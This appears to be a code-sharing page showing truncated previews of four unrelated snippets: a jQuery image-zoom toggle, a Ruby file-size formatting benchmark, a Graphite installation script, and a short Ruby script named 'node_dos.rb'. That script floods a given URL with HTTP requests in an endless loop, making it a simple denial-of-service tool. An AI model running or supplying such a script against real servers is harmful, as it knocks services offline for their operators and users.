This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(document).ready(function(){ | |
$(".zoomable").click (function() { | |
if($(this).height() == 480){ | |
$(this).animate({ | |
height: '980', | |
width: '980' | |
}); | |
}else{ | |
$(this).animate({ | |
height: '480px', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'benchmark' | |
PREFIX = %W(TiB GiB MiB KiB B).freeze | |
UNITS = %W(B KiB MiB GiB TiB).freeze | |
def as_size1( s ) | |
s = s.to_f | |
i = PREFIX.length - 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require "socket" | |
require "uri" | |
url = URI.parse(ARGV.first || abort("Usage: node_dos.rb <url>")) | |
sock = TCPSocket.new(url.host, url.port) | |
loop do | |
sock.write "GET / HTTP/1.1\r\n\r\n" | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#################################### | |
# BASIC REQUIREMENTS | |
# http://graphite.wikidot.com/installation | |
# http://geek.michaelgrace.org/2011/09/how-to-install-graphite-on-ubuntu/ | |
# Last tested & updated 16. June 2013 | |
#################################### | |
# This is apparantly needed for python when running manage.py | |
# described here: http://stackoverflow.com/questions/11593556/django-createsuperuser-not-working | |
export LANG=en_US.UTF-8 |